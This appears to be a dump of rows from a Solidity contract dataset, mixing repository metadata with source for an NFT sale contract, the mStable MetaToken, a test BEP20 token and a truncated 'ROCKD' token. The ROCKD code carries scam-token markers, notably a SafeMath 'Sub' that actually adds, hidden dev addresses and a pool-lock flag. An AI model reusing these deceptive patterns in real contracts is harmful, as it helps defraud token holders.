// If referral isn't factory creator, calculate referral cut.
if (commission > 0) {
address theaterTreasury = SALE_FACTORY.TREASURY();
if (host.treasury != theaterTreasury) {
uint256 theaterCut = SALE_FACTORY.TREASURY_CUT();
uint256 cut = (commission * theaterCut) / 10000;
WETH.transfer(host.treasury, commission - cut);
WETH.transfer(theaterTreasury, cut);
} else {
// otherwise, give total commission to factory creator.
WETH.transfer(host.treasury, commission);
}
}
// Transfer raised (minus commission) to sale creator.
WETH.transfer(mInfo.creator, mInfo.unclaimed - commission);
emit ClaimedRaised(mInfo.unclaimed);
// Check if sale has finalised.
_finalise();
}
/// @dev Buyout current bundle.
/// @param amount Amount of ids to buy.
function buyout(bytes32[] calldata merkleProof, uint256 amount) external onlyInit {
Info memory mInfo = info;
require(amount > 0, "ZERO_AMOUNT");
require(!mInfo.finalised, "SALE_FINALISED");
require(_isWhitelisted(merkleProof), "NOT_WHITELISTED");
Sale memory mSale = sale;
require(block.timestamp >= mSale.startTime, "AWAITING_SALE_START");
require(block.timestamp < mSale.endTime, "SALE_ENDED");
(uint256 cost, uint256 bonusAmount , uint256 newMark) = buyingResults(amount);
uint256 tally = amount + bonusAmount;
// Checks total amount being minted doesnt exceed totalSupply.
uint256 newTotalSold = mSale.totalSold + tally;
require(newTotalSold <= mSale.totalSupply, "OVERFLOW: AMOUNT");
// Send payment + update stats.
WETH.transferFrom(msg.sender, address(this), cost);
info.raised += cost;
info.unclaimed += cost;
sale.totalSold += tally;
sale.currentMark = newMark;
mInfo.collection.mint(msg.sender, tally);
emit Buyout(msg.sender, amount, bonusAmount, cost);
// Check if sale has finalised.
_finalise();
}
// Internals
// ----------------------------------------------------------------------
/// @dev Finalises the sale if the requirements are met.
function _finalise() internal {
Sale memory mSale = sale;
// If sold out OR current time has passed endTime.
if (mSale.totalSold == mSale.totalSupply || block.timestamp > mSale.endTime) {
Info memory mInfo = info;
if (!mInfo.finalised) {
info.finalised = true;
emit Finalised();
}
}
}
/// @dev Checks if user is whitelisted for sale participation.
function _isWhitelisted(bytes32[] calldata _merkleProof) internal view returns (bool) {
Info memory mInfo = info;
bytes32 nullRoot;
// If no merkle root, no whitelist.
if (mInfo.merkleRoot != nullRoot) {
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
return MerkleProof.verify(_merkleProof, mInfo.merkleRoot, leaf);
} else return true;
}
// Views
// ----------------------------------------------------------------------
/// @dev Calculates how many free NFTs are given based off the buying `amount`.
/// @param amount Amount of ids to buy.
function getBulkBonus(uint256 amount) public view returns (uint256) {
BulkBonus[] memory mBB = bulkBonuses;
uint256 bulkIndex;
if (mBB.length > 0) {
for (uint256 i; i < mBB.length; i++) {
if (amount >= mBB[i].buyingAmount) {
bulkIndex = i;
}
}
return mBB[bulkIndex].freeAmount;
} else {
return 0;
}
}
/// @dev Get the total cost + new mark being used.
/// @param amount Amount of ids to buy.
/// @return cost Total cost for the `amount` provided.
/// @return bonus Total nfts being given for free.
/// @return mark The updated mark being used.
function buyingResults(uint256 amount)
public
view
returns (uint256 cost, uint256 bonus, uint256 mark)
{
Sale memory mSale = sale;
Marks[] memory mMarks = marks;
bonus = getBulkBonus(amount);
// Calculate cost for each NFT being bought.
for (uint256 i; i < amount + bonus; i++) {
Marks memory mMark = mMarks[mSale.currentMark];
mSale.totalSold++;
if (i < amount) {
cost += mMark.priceMark;
}
// If amount sold passes current threshold...
if (mSale.totalSold >= mMark.supplyMark) {
// If current mark == highest mark.
if (mSale.currentMark == mMarks.length) {
// Mulitply remaining amount by price mark.
cost += mMark.priceMark * (amount - i);
break;
} else {
// Go next mark
mSale.currentMark++;
}
}
}
return (cost, bonus, mSale.currentMark);
}
/// @dev Returns all stats to do w/ the sale.
function getSaleDetails() external view returns (bool isInitialised,
Info memory,
Sale memory,
BulkBonus[] memory,
Marks[] memory) {
return (initialised,
info,
sale,
bulkBonuses,
marks);
}
}
| 314,036 | 10,875 |
f808b14fbb321aebdbd94c3f47fc8af15b1baf2480593bffc8d1a2e9066d2ee9
| 27,484 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/1347_69993_0xa3bed4e1c75d00fa6f4e5e6922db7261b5e9acd2.sol
| 3,759 | 13,173 |
pragma solidity 0.5.16;
contract ModuleKeys {
// Governance
// ===========
// Phases
// keccak256("Governance"); // 2.x
bytes32 internal constant KEY_GOVERNANCE = 0x9409903de1e6fd852dfc61c9dacb48196c48535b60e25abf92acc92dd689078d;
//keccak256("Staking"); // 1.2
bytes32 internal constant KEY_STAKING = 0x1df41cd916959d1163dc8f0671a666ea8a3e434c13e40faef527133b5d167034;
//keccak256("ProxyAdmin"); // 1.0
bytes32 internal constant KEY_PROXY_ADMIN = 0x96ed0203eb7e975a4cbcaa23951943fa35c5d8288117d50c12b3d48b0fab48d1;
// mStable
// =======
// keccak256("OracleHub"); // 1.2
bytes32 internal constant KEY_ORACLE_HUB = 0x8ae3a082c61a7379e2280f3356a5131507d9829d222d853bfa7c9fe1200dd040;
// keccak256("Manager"); // 1.2
bytes32 internal constant KEY_MANAGER = 0x6d439300980e333f0256d64be2c9f67e86f4493ce25f82498d6db7f4be3d9e6f;
//keccak256("Recollateraliser"); // 2.x
bytes32 internal constant KEY_RECOLLATERALISER = 0x39e3ed1fc335ce346a8cbe3e64dd525cf22b37f1e2104a755e761c3c1eb4734f;
//keccak256("MetaToken"); // 1.1
bytes32 internal constant KEY_META_TOKEN = 0xea7469b14936af748ee93c53b2fe510b9928edbdccac3963321efca7eb1a57a2;
// keccak256("SavingsManager"); // 1.0
bytes32 internal constant KEY_SAVINGS_MANAGER = 0x12fe936c77a1e196473c4314f3bed8eeac1d757b319abb85bdda70df35511bf1;
}
interface INexus {
function governor() external view returns (address);
function getModule(bytes32 key) external view returns (address);
function proposeModule(bytes32 _key, address _addr) external;
function cancelProposedModule(bytes32 _key) external;
function acceptProposedModule(bytes32 _key) external;
function acceptProposedModules(bytes32[] calldata _keys) external;
function requestLockModule(bytes32 _key) external;
function cancelLockModule(bytes32 _key) external;
function lockModule(bytes32 _key) external;
}
contract Module is ModuleKeys {
INexus public nexus;
constructor(address _nexus) internal {
require(_nexus != address(0), "Nexus is zero address");
nexus = INexus(_nexus);
}
modifier onlyGovernor() {
require(msg.sender == _governor(), "Only governor can execute");
_;
}
modifier onlyGovernance() {
require(msg.sender == _governor() || msg.sender == _governance(),
"Only governance can execute");
_;
}
modifier onlyProxyAdmin() {
require(msg.sender == _proxyAdmin(), "Only ProxyAdmin can execute");
_;
}
modifier onlyManager() {
require(msg.sender == _manager(), "Only manager can execute");
_;
}
function _governor() internal view returns (address) {
return nexus.governor();
}
function _governance() internal view returns (address) {
return nexus.getModule(KEY_GOVERNANCE);
}
function _staking() internal view returns (address) {
return nexus.getModule(KEY_STAKING);
}
function _proxyAdmin() internal view returns (address) {
return nexus.getModule(KEY_PROXY_ADMIN);
}
function _metaToken() internal view returns (address) {
return nexus.getModule(KEY_META_TOKEN);
}
function _oracleHub() internal view returns (address) {
return nexus.getModule(KEY_ORACLE_HUB);
}
function _manager() internal view returns (address) {
return nexus.getModule(KEY_MANAGER);
}
function _savingsManager() internal view returns (address) {
return nexus.getModule(KEY_SAVINGS_MANAGER);
}
function _recollateraliser() internal view returns (address) {
return nexus.getModule(KEY_RECOLLATERALISER);
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract GovernedMinterRole is Module {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor(address _nexus) internal Module(_nexus) {
}
modifier onlyMinter() {
require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyGovernor {
_addMinter(account);
}
function removeMinter(address account) public onlyGovernor {
_removeMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ERC20Burnable is Context, ERC20 {
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
contract MetaToken is
ERC20,
GovernedMinterRole,
ERC20Detailed,
ERC20Burnable
{
constructor(address _nexus,
address _initialRecipient)
public
GovernedMinterRole(_nexus)
ERC20Detailed("Meta",
"MTA",
18)
{
// 100m initial supply
_mint(_initialRecipient, 100000000 * (10 ** 18));
}
// Forked from @openzeppelin
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
}
| 232,170 | 10,876 |
7fc7fd90b31d4456f6b32b5fe21fc21420be4a78ef0b300df00a623bf86638f3
| 31,329 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/2c/2c3a91137df0b911f2e0da344ac32fa7bdcb1db4_RiataToken.sol
| 3,401 | 13,493 |
//SPDX-License-Identifier: None
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private MAXCAP;
uint256 constant MAXCAPSUPPLY = 80000 * (10 ** 18);
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function maxSupply() public pure returns (uint256) {
return MAXCAPSUPPLY;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
require(MAXCAP.add(amount) <= MAXCAPSUPPLY, "Max supply reached");
_totalSupply = _totalSupply.add(amount);
MAXCAP = MAXCAP.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
MAXCAP = MAXCAP.sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
}
}
// Riata :3
contract RiataToken is BEP20('Riatatest Finance', 'RTST') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
}
| 321,963 | 10,877 |
a1229f116b18609efbb9a34a1278a0300d0466aa7e86b5716a1b5138eaea1c4f
| 22,625 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x5448DaefFdb2f606b49b87eA643523A5183F1F86/contract.sol
| 3,432 | 13,301 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ROCKD is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**13 * 10**6;
bool public lockpool = true;
address public pooladdress;
string private _name;
string private _symbol;
uint8 private _decimals = 6;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**13 * 10**6;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function LiquidityFee(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
